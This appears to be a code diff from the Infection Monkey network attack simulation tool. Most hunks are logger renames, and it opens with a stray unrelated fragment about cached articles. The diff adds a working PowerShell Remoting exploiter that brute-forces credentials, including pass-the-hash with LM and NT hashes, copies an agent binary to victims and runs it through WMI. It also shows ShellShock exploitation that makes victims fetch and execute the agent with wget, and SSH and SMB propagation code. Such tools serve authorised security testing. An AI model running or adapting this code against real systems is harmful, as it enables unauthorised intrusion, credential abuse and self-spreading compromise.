LOG.info(f"Found a cached article at: {node_url}, skipping")
logger.info(f"Found a cached article at: {node_url}, skipping")
else:
articles.add(lower)
lower += 1

View File

@ -25,7 +25,7 @@ from infection_monkey.model import (
from infection_monkey.network.elasticfinger import ES_PORT
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
LOG = logging.getLogger(__name__)
logger = logging.getLogger(__name__)
class ElasticGroovyExploiter(WebRCE):
@ -69,7 +69,7 @@ class ElasticGroovyExploiter(WebRCE):
try:
response = requests.get(url, data=payload, timeout=DOWNLOAD_TIMEOUT)
except requests.ReadTimeout:
LOG.error(
logger.error(
"Elastic couldn't upload monkey, because server didn't respond to upload "
"request."
)
@ -110,5 +110,5 @@ class ElasticGroovyExploiter(WebRCE):
else:
return False
except Exception as e:
LOG.error("Host's exploitability check failed due to: %s" % e)
logger.error("Host's exploitability check failed due to: %s" % e)
return False

View File

@ -5,7 +5,6 @@
"""
import json
import logging
import posixpath
import string
from random import SystemRandom
@ -24,8 +23,6 @@ from infection_monkey.model import (
)
from infection_monkey.utils.commands import build_monkey_commandline
LOG = logging.getLogger(__name__)
class HadoopExploiter(WebRCE):
_TARGET_OS_TYPE = ["linux", "windows"]

View File

@ -14,7 +14,7 @@ from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload
from infection_monkey.model import DROPPER_ARG
from infection_monkey.utils.commands import build_monkey_commandline
LOG = logging.getLogger(__name__)
logger = logging.getLogger(__name__)
class MSSQLExploiter(HostExploiter):
@ -195,7 +195,7 @@ class MSSQLExploiter(HostExploiter):
conn = pymssql.connect(
host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT
)
LOG.info(
logger.info(
"Successfully connected to host: {0}, using user: {1}, password ("
"SHA-512): {2}".format(host, user, self._config.hash_sensitive_data(password))
)
@ -208,7 +208,7 @@ class MSSQLExploiter(HostExploiter):
# Combo didn't work, hopping to the next one
pass
LOG.warning(
logger.warning(
"No user/password combo was able to connect to host: {0}:{1}, "
"aborting brute force".format(host, port)
)

View File

@ -0,0 +1,219 @@
import logging
import os
from typing import List, Optional
import infection_monkey.monkeyfs as monkeyfs
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit.consts import WIN_ARCH_32
from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.powershell_utils.auth_options import (
AUTH_NEGOTIATE,
ENCRYPTION_AUTO,
AuthOptions,
get_auth_options,
)
from infection_monkey.exploit.powershell_utils.credentials import (
Credentials,
SecretType,
get_credentials,
)
from infection_monkey.exploit.powershell_utils.powershell_client import (
AuthenticationError,
IPowerShellClient,
PowerShellClient,
)
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os
from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost
from infection_monkey.utils.commands import build_monkey_commandline
from infection_monkey.utils.environment import is_windows_os
logger = logging.getLogger(__name__)
TEMP_MONKEY_BINARY_FILEPATH = "./monkey_temp_bin"
class PowerShellRemotingDisabledError(Exception):
pass
class PowerShellExploiter(HostExploiter):
_TARGET_OS_TYPE = ["windows"]
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
_EXPLOITED_SERVICE = "PowerShell Remoting (WinRM)"
def __init__(self, host: VictimHost):
super().__init__(host)
self._client = None
def _exploit_host(self):
try:
use_ssl = self._is_client_using_https()
except PowerShellRemotingDisabledError as e:
logging.info(e)
return False
credentials = get_credentials(
self._config.exploit_user_list,
self._config.exploit_password_list,
self._config.exploit_lm_hash_list,
self._config.exploit_ntlm_hash_list,
is_windows_os(),
)
auth_options = [get_auth_options(creds, use_ssl) for creds in credentials]
self._client = self._authenticate_via_brute_force(credentials, auth_options)
if not self._client:
return False
return self._execute_monkey_agent_on_victim()
def _is_client_using_https(self) -> bool:
try:
logging.debug("Checking if powershell remoting is enabled over HTTP.")
self._try_http()
return False
except AuthenticationError:
return False
except Exception as e:
logging.debug(f"Powershell remoting over HTTP seems disabled: {e}")
try:
logging.debug("Checking if powershell remoting is enabled over HTTPS.")
self._try_https()
return True
except AuthenticationError:
return True
except Exception as e:
logging.debug(f"Powershell remoting over HTTPS seems disabled: {e}")
raise PowerShellRemotingDisabledError("Powershell remoting seems to be disabled.")
def _try_http(self):
self._try_ssl_login(use_ssl=False)
def _try_https(self):
self._try_ssl_login(use_ssl=True)
def _try_ssl_login(self, use_ssl: bool):
credentials = Credentials(
username="dummy_username",
secret="dummy_password",
secret_type=SecretType.PASSWORD,
)
auth_options = AuthOptions(
auth_type=AUTH_NEGOTIATE,
encryption=ENCRYPTION_AUTO,
ssl=use_ssl,
)
PowerShellClient(self.host.ip_addr, credentials, auth_options)
def _authenticate_via_brute_force(
self, credentials: List[Credentials], auth_options: List[AuthOptions]
) -> Optional[IPowerShellClient]:
for (creds, opts) in zip(credentials, auth_options):
client = PowerShellClient(self.host.ip_addr, creds, opts)
if self._is_client_auth_valid(creds, client):
return client
return None
def _is_client_auth_valid(self, creds: Credentials, client: IPowerShellClient) -> bool:
try:
# attempt to execute dir command to know if authentication was successful
client.execute_cmd("dir")
logger.info(
f"Successfully logged into {self.host.ip_addr} using Powershell. User: "
f"{creds.username}, Secret Type: {creds.secret_type.name}"
)
self._report_login_attempt(True, creds)
return True
except Exception as ex: # noqa: F841
logger.debug(
f"Error logging into {self.host.ip_addr} using Powershell. User: "
f"{creds.username}, SecretType: {creds.secret_type.name} -- Error: {ex}"
)
self._report_login_attempt(False, creds)
return False
def _report_login_attempt(self, result: bool, credentials: Credentials):
if credentials.secret_type in [SecretType.PASSWORD, SecretType.CACHED]:
self.report_login_attempt(result, credentials.username, password=credentials.secret)
elif credentials.secret_type == SecretType.LM_HASH:
self.report_login_attempt(result, credentials.username, lm_hash=credentials.secret)
elif credentials.secret_type == SecretType.NT_HASH:
self.report_login_attempt(result, credentials.username, ntlm_hash=credentials.secret)
else:
raise ValueError(f"Unknown secret type {credentials.secret_type}")
def _execute_monkey_agent_on_victim(self) -> bool:
arch = self._client.get_host_architecture()
self.is_32bit = arch == WIN_ARCH_32
logger.debug(f"Host architecture is {arch}")
monkey_path_on_victim = (
self._config.dropper_target_path_win_32
if self.is_32bit
else self._config.dropper_target_path_win_64
)
is_monkey_copy_successful = self._copy_monkey_binary_to_victim(monkey_path_on_victim)
if is_monkey_copy_successful:
logger.info("Successfully copied the monkey binary to the victim.")
self._run_monkey_executable_on_victim(monkey_path_on_victim)
else:
logger.error("Failed to copy the monkey binary to the victim.")
return False
return True
def _copy_monkey_binary_to_victim(self, monkey_path_on_victim) -> bool:
try:
self._write_virtual_file_to_local_path()
logger.info(f"Attempting to copy the monkey agent binary to {self.host.ip_addr}")
is_monkey_copy_successful = self._client.copy_file(
TEMP_MONKEY_BINARY_FILEPATH, monkey_path_on_victim
)
except Exception as ex:
raise ex
finally:
if os.path.isfile(TEMP_MONKEY_BINARY_FILEPATH):
os.remove(TEMP_MONKEY_BINARY_FILEPATH)
return is_monkey_copy_successful
def _write_virtual_file_to_local_path(self) -> None:
monkey_fs_path = get_target_monkey_by_os(is_windows=True, is_32bit=self.is_32bit)
with monkeyfs.open(monkey_fs_path) as monkey_virtual_file:
with open(TEMP_MONKEY_BINARY_FILEPATH, "wb") as monkey_local_file:
monkey_local_file.write(monkey_virtual_file.read())
def _run_monkey_executable_on_victim(self, executable_path) -> None:
monkey_execution_command = build_monkey_execution_command(
self.host, get_monkey_depth() - 1, executable_path
)
logger.info(
f"Attempting to execute the monkey agent on remote host " f"{self.host.ip_addr}"
)
self._client.execute_cmd_as_detached_process(monkey_execution_command)
def build_monkey_execution_command(host: VictimHost, depth: int, executable_path: str) -> str:
monkey_params = build_monkey_commandline(
target_host=host,
depth=depth,
vulnerable_port=None,
location=executable_path,
)
return RUN_MONKEY % {
"monkey_path": executable_path,
"monkey_type": DROPPER_ARG,
"parameters": monkey_params,
}

View File

@ -0,0 +1,43 @@
from dataclasses import dataclass
from infection_monkey.exploit.powershell_utils.credentials import Credentials, SecretType
AUTH_BASIC = "basic"
AUTH_NEGOTIATE = "negotiate"
AUTH_NTLM = "ntlm"
ENCRYPTION_AUTO = "auto"
ENCRYPTION_NEVER = "never"
@dataclass
class AuthOptions:
auth_type: str
encryption: str
ssl: bool
def get_auth_options(credentials: Credentials, use_ssl: bool) -> AuthOptions:
ssl = _get_ssl(credentials, use_ssl)
auth_type = _get_auth_type(credentials)
encryption = _get_encryption(credentials)
return AuthOptions(auth_type, encryption, ssl)
def _get_ssl(credentials: Credentials, use_ssl):
# Passwordless login only works with SSL false, AUTH_BASIC and ENCRYPTION_NEVER
return False if credentials.secret == "" else use_ssl
def _get_auth_type(credentials: Credentials):
if credentials.secret == "":
return AUTH_BASIC
if credentials.secret_type in {SecretType.LM_HASH, SecretType.NT_HASH}:
return AUTH_NTLM
return AUTH_NEGOTIATE
def _get_encryption(credentials: Credentials):
return ENCRYPTION_NEVER if credentials.secret == "" else ENCRYPTION_AUTO

View File

@ -0,0 +1,124 @@
import logging
from dataclasses import dataclass
from enum import Enum
from itertools import product
from typing import List, Tuple, Union
logger = logging.getLogger(__name__)
class SecretType(Enum):
CACHED = 1
PASSWORD = 2
LM_HASH = 3
NT_HASH = 4
@dataclass
class Credentials:
username: Union[str, None]
secret: Union[str, None]
secret_type: SecretType
def get_credentials(
usernames: List[str],
passwords: List[str],
lm_hashes: List[str],
nt_hashes: List[str],
is_windows: bool,
) -> List[Credentials]:
username_domain_combinations = _get_username_domain_combinations(usernames, is_windows)
credentials = []
credentials.extend(_get_empty_credentials(is_windows))
credentials.extend(_get_username_only_credentials(username_domain_combinations, is_windows))
credentials.extend(_get_username_password_credentials(username_domain_combinations, passwords))
credentials.extend(_get_username_lm_hash_credentials(username_domain_combinations, lm_hashes))
credentials.extend(_get_username_nt_hash_credentials(username_domain_combinations, nt_hashes))
return credentials
def _get_username_domain_combinations(usernames: List[str], is_windows) -> List[str]:
username_domain_combinations = set(usernames)
for u in usernames:
username_domain_combinations.add(f".\\{u}")
if is_windows:
try:
domain, current_username = _get_current_user_and_domain()
username_domain_combinations.add(current_username)
username_domain_combinations.add(f"{domain}\\{current_username}")
username_domain_combinations.add(f".\\{current_username}")
for u in usernames:
username_domain_combinations.add(f"{domain}\\{u}")
except Exception as ex:
logger.error(f"Failed to get the current user's username and domain name: {ex}")
return list(username_domain_combinations)
def _get_current_user_and_domain() -> Tuple[str, str]:
import win32api
return win32api.GetUserNameEx(win32api.NameSamCompatible).split("\\")
# On Windows systems, when username == None and password == None, the current user's credentials
# will be used to attempt to log into the victim only on the first hop, from island
# to a machine. Propagating after the first hop is not possible at the moment.
# See this: https://security.stackexchange.com/questions/120422/powershell-and-cached-credentials
def _get_empty_credentials(is_windows: bool) -> List[Credentials]:
if is_windows:
return [Credentials(username=None, secret=None, secret_type=SecretType.CACHED)]
return []
# On Windows systems, when password == None, the current user's password will be used to attempt to
# log into the victim.
def _get_username_only_credentials(usernames: List[str], is_windows: bool) -> List[Credentials]:
credentials = [
Credentials(username=username, secret="", secret_type=SecretType.PASSWORD)
for username in usernames
]
if is_windows:
credentials.extend(
[
Credentials(username=username, secret=None, secret_type=SecretType.CACHED)
for username in usernames
]
)
return credentials
def _get_username_password_credentials(
usernames: List[str], passwords: List[str]
) -> List[Credentials]:
return _get_username_secret_credentials(usernames, passwords, SecretType.PASSWORD)
def _get_username_lm_hash_credentials(
usernames: List[str], lm_hashes: List[str]
) -> List[Credentials]:
return _get_username_secret_credentials(usernames, lm_hashes, SecretType.LM_HASH)
def _get_username_nt_hash_credentials(
usernames: List[str], nt_hashes: List[str]
) -> List[Credentials]:
return _get_username_secret_credentials(usernames, nt_hashes, SecretType.NT_HASH)
def _get_username_secret_credentials(
usernames: List[str], secrets: List[str], secret_type: SecretType
) -> List[Credentials]:
username_secret_pairs = product(usernames, secrets)
return [
Credentials(credentials[0], credentials[1], secret_type)
for credentials in username_secret_pairs
]

View File

@ -0,0 +1,124 @@
import abc
import logging
from typing import Optional, Union
import pypsrp
import spnego
from pypsrp.client import Client
from pypsrp.exceptions import AuthenticationError # noqa: F401
from pypsrp.powershell import PowerShell, RunspacePool
from typing_extensions import Protocol
from urllib3 import connectionpool
from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64
from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions
from infection_monkey.exploit.powershell_utils.credentials import Credentials, SecretType
from infection_monkey.model import GET_ARCH_WINDOWS
logger = logging.getLogger(__name__)
CONNECTION_TIMEOUT = 3 # Seconds
def _set_sensitive_packages_log_level_to_error():
# If root logger is inherited, extensive and potentially sensitive info could be logged
sensitive_packages = [pypsrp, spnego, connectionpool]
for package in sensitive_packages:
logging.getLogger(package.__name__).setLevel(logging.ERROR)
# The pypsrp library requires LM or NT hashes to be formatted like "LM_HASH:NT_HASH"
#
# Example:
# If your LM hash is 1ec78eb5f6edd379351858c437fc3e4e and your NT hash is
# 79a760336ad8c808fee32aa96985a305, then you would pass
# "1ec78eb5f6edd379351858c437fc3e4e:79a760336ad8c808fee32aa96985a305" as the
# `password` parameter to pypsrp.
#
# In our case, we have a set of NT hashes and a set of LM hashes, but we don't
# know if any particular LM/NT hash pair was generated from the same password.
# To avoid confusion, we pair each NT or LM hash with a dummy (i.e. all zeros)
# hash.
def format_password(credentials: Credentials) -> Optional[str]:
if credentials.secret_type == SecretType.CACHED:
return None
if credentials.secret_type == SecretType.PASSWORD:
return credentials.secret
if credentials.secret_type == SecretType.LM_HASH:
return f"{credentials.secret}:00000000000000000000000000000000"
if credentials.secret_type == SecretType.NT_HASH:
return f"00000000000000000000000000000000:{credentials.secret}"
raise ValueError(f"Unknown secret type {credentials.secret_type}")
class IPowerShellClient(Protocol, metaclass=abc.ABCMeta):
@abc.abstractmethod
def execute_cmd(self, cmd: str) -> str:
pass
@abc.abstractmethod
def get_host_architecture(self) -> Union[WIN_ARCH_32, WIN_ARCH_64]:
pass
@abc.abstractmethod
def copy_file(self, src: str, dest: str) -> bool:
pass
@abc.abstractmethod
def execute_cmd_as_detached_process(self, cmd: str):
pass
class PowerShellClient(IPowerShellClient):
def __init__(self, ip_addr, credentials: Credentials, auth_options: AuthOptions):
_set_sensitive_packages_log_level_to_error()
self._ip_addr = ip_addr
self._client = Client(
ip_addr,
username=credentials.username,
password=format_password(credentials),
cert_validation=False,
auth=auth_options.auth_type,
encryption=auth_options.encryption,
ssl=auth_options.ssl,
connection_timeout=CONNECTION_TIMEOUT,
)
def execute_cmd(self, cmd: str) -> str:
output, _, _ = self._client.execute_cmd(cmd)
return output
def get_host_architecture(self) -> Union[WIN_ARCH_32, WIN_ARCH_64]:
stdout, _, _ = self._client.execute_cmd(GET_ARCH_WINDOWS)
if "64-bit" in stdout:
return WIN_ARCH_64
return WIN_ARCH_32
def copy_file(self, src: str, dest: str) -> bool:
try:
self._client.copy(src, dest)
logger.debug(f"Successfully copied {src} to {dest} on {self._ip_addr}")
return True
except Exception as ex:
logger.error(f"Failed to copy {src} to {dest} on {self._ip_addr}: {ex}")
return False
def execute_cmd_as_detached_process(self, cmd: str):
logger.debug(
f"Attempting to execute a command on the remote host as a detached process - "
f"Host: {self._ip_addr}, Command: {cmd}"
)
with self._client.wsman, RunspacePool(self._client.wsman) as pool:
ps = PowerShell(pool)
ps.add_cmdlet("Invoke-WmiMethod").add_parameter("path", "win32_process").add_parameter(
"name", "create"
).add_parameter("ArgumentList", cmd)
ps.invoke()

View File

@ -44,7 +44,7 @@ from infection_monkey.pyinstaller_utils import get_binary_file_path
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
from infection_monkey.utils.commands import build_monkey_commandline
LOG = logging.getLogger(__name__)
logger = logging.getLogger(__name__)
class SambaCryExploiter(HostExploiter):
@ -79,7 +79,7 @@ class SambaCryExploiter(HostExploiter):
return False
writable_shares_creds_dict = self.get_writable_shares_creds_dict(self.host.ip_addr)
LOG.info(
logger.info(
"Writable shares and their credentials on host %s: %s"
% (self.host.ip_addr, str(writable_shares_creds_dict))
)
@ -121,14 +121,14 @@ class SambaCryExploiter(HostExploiter):
self.exploit_info["shares"][share]["fullpath"] = fullpath
if len(successfully_triggered_shares) > 0:
LOG.info(
logger.info(
"Shares triggered successfully on host %s: %s"
% (self.host.ip_addr, str(successfully_triggered_shares))
)
self.add_vuln_port(self.SAMBA_PORT)
return True
else:
LOG.info("No shares triggered successfully on host %s" % self.host.ip_addr)
logger.info("No shares triggered successfully on host %s" % self.host.ip_addr)
return False
def try_exploit_share(self, share, creds):
@ -142,7 +142,7 @@ class SambaCryExploiter(HostExploiter):
self.upload_module(smb_client, share)
self.trigger_module(smb_client, share)
except (impacket.smbconnection.SessionError, SessionError):
LOG.debug(
logger.debug(
"Exception trying to exploit host: %s, share: %s, with creds: %s."
% (self.host.ip_addr, share, str(creds))
)
@ -205,7 +205,7 @@ class SambaCryExploiter(HostExploiter):
writable_shares_creds_dict = {}
credentials_list = self.get_credentials_list()
LOG.debug("SambaCry credential list: %s" % str(credentials_list))
logger.debug("SambaCry credential list: %s" % str(credentials_list))
for credentials in credentials_list:
try:
@ -246,13 +246,13 @@ class SambaCryExploiter(HostExploiter):
:return: True if victim is vulnerable, False otherwise
"""
if SMB_SERVICE not in self.host.services:
LOG.info("Host: %s doesn't have SMB open" % self.host.ip_addr)
logger.info("Host: %s doesn't have SMB open" % self.host.ip_addr)
return False
pattern = re.compile(r"\d*\.\d*\.\d*")
smb_server_name = self.host.services[SMB_SERVICE].get("name")
if not smb_server_name:
LOG.info("Host: %s refused SMB connection" % self.host.ip_addr)
logger.info("Host: %s refused SMB connection" % self.host.ip_addr)
return False
samba_version = "unknown"
pattern_result = pattern.search(smb_server_name)
@ -286,7 +286,7 @@ class SambaCryExploiter(HostExploiter):
# If pattern doesn't match we can't tell what version it is. Better try
is_vulnerable = True
LOG.info(
logger.info(
"Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s"
% (self.host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable))
)
@ -408,7 +408,7 @@ class SambaCryExploiter(HostExploiter):
:param share: share name
:return: True if share is writable, False otherwise.
"""
LOG.debug("Checking %s for write access" % share)
logger.debug("Checking %s for write access" % share)
try:
tree_id = smb_client.connectTree(share)
except (impacket.smbconnection.SessionError, SessionError):
@ -510,7 +510,7 @@ class SambaCryExploiter(HostExploiter):
# paths to NT style
# to make things easier for the caller. Not this time ;)
treeId = smb_client.connectTree("IPC$")
LOG.debug("Triggering path: %s" % pathName)
logger.debug("Triggering path: %s" % pathName)
if smb_client.getDialect() == SMB_DIALECT:
_, flags2 = smb_client.getSMBServer().get_flags()

View File

@ -16,7 +16,7 @@ from infection_monkey.model import DROPPER_ARG
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
from infection_monkey.utils.commands import build_monkey_commandline
LOG = logging.getLogger(__name__)
logger = logging.getLogger(__name__)
TIMEOUT = 2
TEST_COMMAND = "/bin/uname -a"
DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder
@ -55,7 +55,7 @@ class ShellShockExploiter(HostExploiter):
http_ports = [port[0] for port in valid_ports if not port[1]]
https_ports = [port[0] for port in valid_ports if port[1]]
LOG.info(
logger.info(
"Scanning %s, ports [%s] for vulnerable CGI pages"
% (self.host, ",".join([str(port[0]) for port in valid_ports]))
)
@ -77,7 +77,7 @@ class ShellShockExploiter(HostExploiter):
# now try URLs until we install something on victim
for _, url, header, exploit in exploitable_urls:
LOG.info("Trying to attack host %s with %s URL" % (self.host, url))
logger.info("Trying to attack host %s with %s URL" % (self.host, url))
# same attack script as sshexec
# for any failure, quit and don't try other URLs
if not self.host.os.get("type"):
@ -87,10 +87,12 @@ class ShellShockExploiter(HostExploiter):
if "linux" in uname_os:
self.host.os["type"] = "linux"
else:
LOG.info("SSH Skipping unknown os: %s", uname_os)
logger.info("SSH Skipping unknown os: %s", uname_os)
return False
except Exception as exc:
LOG.debug("Error running uname os command on victim %r: (%s)", self.host, exc)
logger.debug(
"Error running uname os command on victim %r: (%s)", self.host, exc
)
return False
if not self.host.os.get("machine"):
try:
@ -99,7 +101,7 @@ class ShellShockExploiter(HostExploiter):
if "" != uname_machine:
self.host.os["machine"] = uname_machine.lower().strip()
except Exception as exc:
LOG.debug(
logger.debug(
"Error running uname machine command on victim %r: (%s)", self.host, exc
)
return False
@ -109,7 +111,7 @@ class ShellShockExploiter(HostExploiter):
if self.skip_exist and (
self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)
):
LOG.info(
logger.info(
"Host %s was already infected under the current configuration, "
"done" % self.host
)
@ -117,17 +119,17 @@ class ShellShockExploiter(HostExploiter):
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
logger.info("Can't find suitable monkey executable for host %r", self.host)
return False
if not self._create_lock_file(exploit, url, header):
LOG.info("Another monkey is running shellshock exploit")
logger.info("Another monkey is running shellshock exploit")
return True
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
if not http_path:
LOG.debug("Exploiter ShellShock failed, http transfer creation failed.")
logger.debug("Exploiter ShellShock failed, http transfer creation failed.")
return False
download_command = "/usr/bin/wget %s -O %s;" % (http_path, dropper_target_path_linux)
@ -148,7 +150,7 @@ class ShellShockExploiter(HostExploiter):
url, header, exploit, dropper_target_path_linux
)
):
LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
logger.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
continue
# turn the monkey into an executable
@ -169,7 +171,7 @@ class ShellShockExploiter(HostExploiter):
run_path = exploit + cmdline
self.attack_page(url, header, run_path)
LOG.info(
logger.info(
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
self._config.dropper_target_path_linux,
self.host,
@ -181,7 +183,7 @@ class ShellShockExploiter(HostExploiter):
url, header, exploit, self._config.monkey_log_path_linux
)
):
LOG.info("Log file does not exist, monkey might not have run")
logger.info("Log file does not exist, monkey might not have run")
continue
self.add_executed_cmd(cmdline)
return True
@ -198,7 +200,7 @@ class ShellShockExploiter(HostExploiter):
run_path = exploit + cmdline
resp = cls.attack_page(url, header, run_path)
if resp:
LOG.info("File %s exists on remote host" % file_path)
logger.info("File %s exists on remote host" % file_path)
return resp
def attempt_exploit(self, url, attacks=None):
@ -208,17 +210,17 @@ class ShellShockExploiter(HostExploiter):
if not attacks:
attacks = self._attacks
LOG.debug("Attack Flag is: %s" % self.success_flag)
logger.debug("Attack Flag is: %s" % self.success_flag)
LOG.debug("Trying exploit for %s" % url)
logger.debug("Trying exploit for %s" % url)
for header, exploit in list(attacks.items()):
attack = exploit + " echo " + self.success_flag + "; " + TEST_COMMAND
result = self.attack_page(url, header, attack)
if self.success_flag in result:
LOG.info("URL %s looks vulnerable" % url)
logger.info("URL %s looks vulnerable" % url)
return True, url, header, exploit
else:
LOG.debug("URL %s does not seem to be vulnerable with %s header" % (url, header))
logger.debug("URL %s does not seem to be vulnerable with %s header" % (url, header))
return (False,)
def _create_lock_file(self, exploit, url, header):
@ -236,15 +238,15 @@ class ShellShockExploiter(HostExploiter):
def attack_page(url, header, attack):
result = ""
try:
LOG.debug("Header is: %s" % header)
LOG.debug("Attack is: %s" % attack)
logger.debug("Header is: %s" % header)
logger.debug("Attack is: %s" % attack)
r = requests.get( # noqa: DUO123
url, headers={header: attack}, verify=False, timeout=TIMEOUT
)
result = r.content.decode()
return result
except requests.exceptions.RequestException as exc:
LOG.debug("Failed to run, exception %s" % exc)
logger.debug("Failed to run, exception %s" % exc)
return result
@staticmethod
@ -267,7 +269,7 @@ class ShellShockExploiter(HostExploiter):
timeout = True
break
if timeout:
LOG.debug(
logger.debug(
"Some connections timed out while sending request to potentially vulnerable "
"urls."
)

View File

@ -13,7 +13,7 @@ from infection_monkey.network.tools import check_tcp_port
from infection_monkey.telemetry.attack.t1035_telem import T1035Telem
from infection_monkey.utils.commands import build_monkey_commandline
LOG = getLogger(__name__)
logger = getLogger(__name__)
class SmbExploiter(HostExploiter):
@ -50,7 +50,7 @@ class SmbExploiter(HostExploiter):
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
logger.info("Can't find suitable monkey executable for host %r", self.host)
return False
creds = self._config.get_exploit_user_password_or_hash_product()
@ -71,7 +71,7 @@ class SmbExploiter(HostExploiter):
)
if remote_full_path is not None:
LOG.debug(
logger.debug(
"Successfully logged in %r using SMB (%s : (SHA-512) %s : (SHA-512) "
"%s : (SHA-512) %s)",
self.host,
@ -95,7 +95,7 @@ class SmbExploiter(HostExploiter):
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
except Exception as exc:
LOG.debug(
logger.debug(
"Exception when trying to copy file using SMB to %r with user:"
" %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash ("
"SHA-512): %s: (%s)",
@ -109,7 +109,7 @@ class SmbExploiter(HostExploiter):
continue
if not exploited:
LOG.debug("Exploiter SmbExec is giving up...")
logger.debug("Exploiter SmbExec is giving up...")
return False
self.set_vulnerable_port()
@ -145,7 +145,7 @@ class SmbExploiter(HostExploiter):
try:
scmr_rpc.connect()
except Exception as exc:
LOG.debug(
logger.debug(
"Can't connect to SCM on exploited machine %r port %s : %s",
self.host,
port,
@ -183,7 +183,7 @@ class SmbExploiter(HostExploiter):
scmr.hRDeleteService(scmr_rpc, service)
scmr.hRCloseServiceHandle(scmr_rpc, service)
LOG.info(
logger.info(
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
remote_full_path,
self.host,

View File

@ -16,7 +16,7 @@ from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
from infection_monkey.utils.commands import build_monkey_commandline
LOG = logging.getLogger(__name__)
logger = logging.getLogger(__name__)
SSH_PORT = 22
TRANSFER_UPDATE_RATE = 15
@ -33,7 +33,7 @@ class SSHExploiter(HostExploiter):
def log_transfer(self, transferred, total):
if time.time() - self._update_timestamp > TRANSFER_UPDATE_RATE:
LOG.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
logger.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
self._update_timestamp = time.time()
def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient:
@ -49,17 +49,17 @@ class SSHExploiter(HostExploiter):
try:
pkey = paramiko.RSAKey.from_private_key(pkey)
except (IOError, paramiko.SSHException, paramiko.PasswordRequiredException):
LOG.error("Failed reading ssh key")
logger.error("Failed reading ssh key")
try:
ssh.connect(self.host.ip_addr, username=user, pkey=pkey, port=port)
LOG.debug(
logger.debug(
"Successfully logged in %s using %s users private key", self.host, ssh_string
)
self.report_login_attempt(True, user, ssh_key=ssh_string)
return ssh
except Exception:
ssh.close()
LOG.debug(
logger.debug(
"Error logging into victim %r with %s" " private key", self.host, ssh_string
)
self.report_login_attempt(False, user, ssh_key=ssh_string)
@ -76,7 +76,7 @@ class SSHExploiter(HostExploiter):
try:
ssh.connect(self.host.ip_addr, username=user, password=current_password, port=port)
LOG.debug(
logger.debug(
"Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)",
self.host,
user,
@ -87,7 +87,7 @@ class SSHExploiter(HostExploiter):
return ssh
except Exception as exc:
LOG.debug(
logger.debug(
"Error logging into victim %r with user"
" %s and password (SHA-512) '%s': (%s)",
self.host,
@ -110,7 +110,7 @@ class SSHExploiter(HostExploiter):
is_open, _ = check_tcp_port(self.host.ip_addr, port)
if not is_open:
LOG.info("SSH port is closed on %r, skipping", self.host)
logger.info("SSH port is closed on %r, skipping", self.host)
return False
try:
@ -119,7 +119,7 @@ class SSHExploiter(HostExploiter):
try:
ssh = self.exploit_with_login_creds(port)
except FailedExploitationError:
LOG.debug("Exploiter SSHExploiter is giving up...")
logger.debug("Exploiter SSHExploiter is giving up...")
return False
if not self.host.os.get("type"):
@ -129,10 +129,10 @@ class SSHExploiter(HostExploiter):
if "linux" in uname_os:
self.host.os["type"] = "linux"
else:
LOG.info("SSH Skipping unknown os: %s", uname_os)
logger.info("SSH Skipping unknown os: %s", uname_os)
return False
except Exception as exc:
LOG.debug("Error running uname os command on victim %r: (%s)", self.host, exc)
logger.debug("Error running uname os command on victim %r: (%s)", self.host, exc)
return False
if not self.host.os.get("machine"):
@ -142,7 +142,9 @@ class SSHExploiter(HostExploiter):
if "" != uname_machine:
self.host.os["machine"] = uname_machine
except Exception as exc:
LOG.debug("Error running uname machine command on victim %r: (%s)", self.host, exc)
logger.debug(
"Error running uname machine command on victim %r: (%s)", self.host, exc
)
if self.skip_exist:
_, stdout, stderr = ssh.exec_command(
@ -151,7 +153,7 @@ class SSHExploiter(HostExploiter):
stdout_res = stdout.read().strip()
if stdout_res:
# file exists
LOG.info(
logger.info(
"Host %s was already infected under the current configuration, "
"done" % self.host
)
@ -160,7 +162,7 @@ class SSHExploiter(HostExploiter):
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
logger.info("Can't find suitable monkey executable for host %r", self.host)
return False
try:
@ -183,7 +185,7 @@ class SSHExploiter(HostExploiter):
).send()
ftp.close()
except Exception as exc:
LOG.debug("Error uploading file into victim %r: (%s)", self.host, exc)
logger.debug("Error uploading file into victim %r: (%s)", self.host, exc)
status = ScanStatus.SCANNED
T1105Telem(
@ -200,7 +202,7 @@ class SSHExploiter(HostExploiter):
cmdline += " > /dev/null 2>&1 &"
ssh.exec_command(cmdline)
LOG.info(
logger.info(
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
self._config.dropper_target_path_linux,
self.host,
@ -212,5 +214,5 @@ class SSHExploiter(HostExploiter):
return True
except Exception as exc:
LOG.debug("Error running monkey on victim %r: (%s)", self.host, exc)
logger.debug("Error running monkey on victim %r: (%s)", self.host, exc)
return False

View File

